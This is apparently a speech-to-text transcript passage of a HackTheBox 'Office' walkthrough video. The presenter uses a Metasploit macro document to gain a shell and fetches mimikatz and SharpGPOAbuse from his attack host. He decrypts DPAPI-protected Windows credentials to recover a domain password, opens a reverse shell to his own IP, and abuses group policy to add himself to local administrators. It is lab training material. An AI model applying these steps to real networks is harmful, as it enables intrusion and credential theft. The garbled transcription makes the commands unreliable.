{"text": "to set the server port to be 8081 I don't think the server port's really even used um because I think this is like hosting the document off a web server or just set it just in case so now if I do show options we should have a document so we can run it and the document is stored there so let's copy that somewh we can access and now let's upload it so where is resumé submission going to upload let's go up one uh msf. ODT and before I do there's probably going to be some type of Cron that is setting this back right yeah it's back to three that is annoying so let's set that to zero then upload and hopefully it sticks around long enough for us to get a shell uh one thing I want to check let's see nvmp okay I wasn't 100% positive if um Metasploit was like kept that Handler open The Interpreter thing listening so", "start": 3269.2, "duration": 0.0, "meta": {"video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg"}}
|
| 47 |
+
{"text": "I just wanted to double check looks like it did so I think we're good let's see byy CD zamp HT docs notet Pub uh what do I want to go to internal applications we can see my resume still exist let's see that still at zero that's good so I think we got to wait a couple minutes again to see uh this actually go away it probably runs every minute oh shoot um see still there let's just do a sleep 300 and hopefully when I come back uh this resume will be gone and we will have a um interpreter session open as well and it didn't even take the 300 seconds we do have a interpreter session open do sessions - i1 uh get uid we can see we're also the Poots user so you don't have to use that one cve you could just mly change the macro setting or macro security level in Liberty office and then send the document as well in get code execution", "start": 3363.48, "duration": 0.0, "meta": {"video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg"}}
|
| 48 |
+
{"text": "as pts that way um the next step of the Box is doing a query user and actually discovering you're in a interactive session which is going to come in handy for this next part right because whenever we um land on domain join machines we should always start looking at like dppy keys so if I did like a I think it's Vault CMD list uh let's see Vault CMD list we can see there is a Windows credential um configured let's see I thought it would show more let's see Vault CMD what else is there Vault CMD list creds um Vault CMD list creds all Vault CMD list creds WEP pots it's weird I don't know why it's erroring okay so there is credentials in this um I'm not sure exactly what is going on here but if you wanted to look at um D papy stuff that's going to be in the uh user directory so Poots and then app data roaming Microsoft and you you should always", "start": 3453.799, "duration": 0.0, "meta": {"video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg"}}
|
| 49 |
+
{"text": "download these files whenever you do something because I'm sure if you go to ic. ro typ dpy we go over a better explanation of what we're about to do uh definitely check out like access that is a really good one um but you should always download these because these are going to be like your windows and built-in password manager and you may not be able to ever decrypt them because you need to know the user's password but you could also use the domain key so if you ever get domain administer ministrator and get the master key to the domain they can go back and decrypt all these Dy blobs and a lot of times what since there's a lot more like um SAS products the software as a service just like websites with credentials you'll find a lot more creds after you get domain administrator locally on like external things like Confluence J things", "start": 3566.68, "duration": 0.0, "meta": {"video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg"}}
|
| 50 |
+
{"text": "like that so I would highly highly highly recommend always looking in these directories to um pillage all the Deep happy blobs so if we do a DI here let's see we have Vault and I want to say that's where we want to go uh no credentials right we're in C colon roaming Microsoft then credentials credentials there we go um um let's see I forget how to make D show hidden files but if I do Powershell I can do get shout items dforce and then we can see three blobs here so three protected files we can't really read these if we do a type it's just going to be an encrypted blob so we need to get the master key so the master key is going to be under protect we do Dr we want to go into this this is the user Sid that I am and just like before we have to do A- force and we have three different blobs here and normally to get the master key", "start": 3616.68, "duration": 0.0, "meta": {"video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg"}}
|
| 51 |
+
{"text": "or the um secret out of these we need to know the user's password but before I said we're currently logged in so we can actually query the domain controller which then will use Windows nlm authentication to ask the domain controller to retrieve blob for us and since we're logged in that's already cache so we already have um that handy to us so let's upload mimic cats to this box um I'm going to save this location so V temp we'll just save that and let's go to program data and we want want to grab mimic cats so mimic cat.exe I should have a copy somewhere right yes I do let's copy it to dubdub dub and then we can W get HTTP 10148 8,000 mimic cat.exe and let's hope that there's no Defender that removes this file from us um did not work do I not have my web server up anymore I don't think I do I did", "start": 3698.88, "duration": 0.0, "meta": {"video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg"}}
|
| 52 |
+
{"text": "not so there we go we're downloading mimik cats and now we can execute it and what we want to do is list the blobs um before we do this let's see okay so the command we're going to run is going to be deppy master key we're going to do n I deleted the file what oh no here it is okay so we want D papy master key in C colon back slash this and then we need to know the um f name so we give it three things because we want to try all three of these grab this one and then grab this and then at the end of this command we just add SL RPC and that says get our password via RPC so we can save that and let's see if we get any master keys so get our program data mimic cat.exe and now we're going to run each of these so that was very fast we got a key I'm going to put that key here let's do the next one we'll do the top grab this key", "start": 3799.24, "duration": 0.0, "meta": {"video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg"}}
|
| 53 |
+
{"text": "that's going really fast okay that seems to be fun hope this is right yep everything seems to be going fine and now let's grab this one okay so now we have all the master keys uh let's now go to the credentials and see if we can grab those so that is CD back SL users pts app data roaming Microsoft credentials GC I force and let's see let's start with the oldest one looks like this okay so this command is going to be dppy cred then slash in C colon users pots app data roaming Microsoft credentials and then we want to add slash unprotect then slm key and then after master key is a colon wonder I can just yank and put it here there we go and let's do just in case that master key doesn't work grab the next one and if that doesn't work we will go try the other one so copy this that didn't work grab this this one looks like it did", "start": 3962.4, "duration": 0.0, "meta": {"video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg"}}
|
| 54 |
+
{"text": "decrypt but we don't have any thing really useful decrypting credential generic Enterprise the target is my target username my user there's no blob so that's probably not a good file let's see where we grab them let's try the 841 F I think we did 18 so we can grab this and I'm not an RL W so I can't use the up and down key and that's becoming a huge pain so let's see if we can decrypt this one we can so we have office back SL Hogan and the password is happy for the win 183 and that domain password so we have another set of credentials so let's go I'm just going to do cs. text and we will paste this in in that was hen right h h o g n awesome so now let's get a shell as Hogan so start up net cat and then we'll just do the run.exe again and I actually think this user is a member of the remoting group so we could use Evo wi RM", "start": 4148.319, "duration": 0.0, "meta": {"video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg"}}
|
| 55 |
+
{"text": "but um I really like the shell that run SCS gives so we'll do this then power shell - R 10148 91 and we got the shell so if I do a Who Am iall we can see what we're a member of and we see we're a member of the GP managers and if we actually ran Blood Hound on this we'd see there was also an attack through this being a member of GPO managers it means we can edit the gpos so we can use a tool like sharp GPO AB use in order to create a policy that will add us to local admin so let's go ahead and do that you can also use this tool to like create a schedule task and execute it to get code execution but I always find that piece flaky um whenever having ability to execute things through group policy I always like doing the add to local admin it's an older feature in Windows so it's a bit more stable I guess um I don't know why I always have like random issues when like running", "start": 4248.159, "duration": 0.0, "meta": {"video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg"}}
|
| 56 |
+
{"text": "commands through schedule tasks but I do um so if you're doing GPO things my recommendation is um to add local admins so we do Shar collection and this if you just Google sharp collection you'll find it on GitHub it's just a bunch of pre-compiled net binaries I always use theet framework any and then let's do um sharp you can see how many there R in this uh sharp GPU abuse we'll copy it to dubdub dub and then because I don't want to type this again let's just copy and paste it and I'm going to make sure my server is running good thing I did that it was not so we can curl HTTP 10 1048 Port 8,000 sharp GPU abuse and download it there and let's see uh let's do a WG I guess 10 10 14 8 8,000 eror creating web I wonder if this user has something odd in its configuration um SC HTTP 10 1048 8,000", "start": 4314.84, "duration": 0.0, "meta": {"video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg"}}
|
| 57 |
+
{"text": "I'm doing a backslash did I do that on netcat as well I did not so I don't know exactly uh what the issue is here but we have it so let's do sharp GPO abuse. exe add local admin user account Hogan and then we'll tag it to the default domain policy and this is going to just mean on every computer in the domain um Hogan's going to be a local admin now and we can't enumerate the domain what uh let's see evil WI rm- 10 10 113 Hogan happy for the win 183 pound try evil 1M program data paste this in okay so I said I like the shell that run SCS gives me apparently it gave me a bad shell um not sure what that's about see does not specify any group memberships okay so I think we got it I'm going to do a GP update slforce just to force this uh who am I SL all see Remote Management users preer interactive we probably have to get a", "start": 4410.84, "duration": 0.0, "meta": {"video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg"}}
|
| 58 |
+
{"text": "shell again we just do groups so let's exit connect back and we should have built in administrators now so we have successfully added Hogan to the administrator group so we can now go users administrator then desktop and get root. text and that is going to be the box so hope you guys enjoyed it take care and I will see you all next time", "start": 4527.679, "duration": 0.0, "meta": {"video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg"}}
|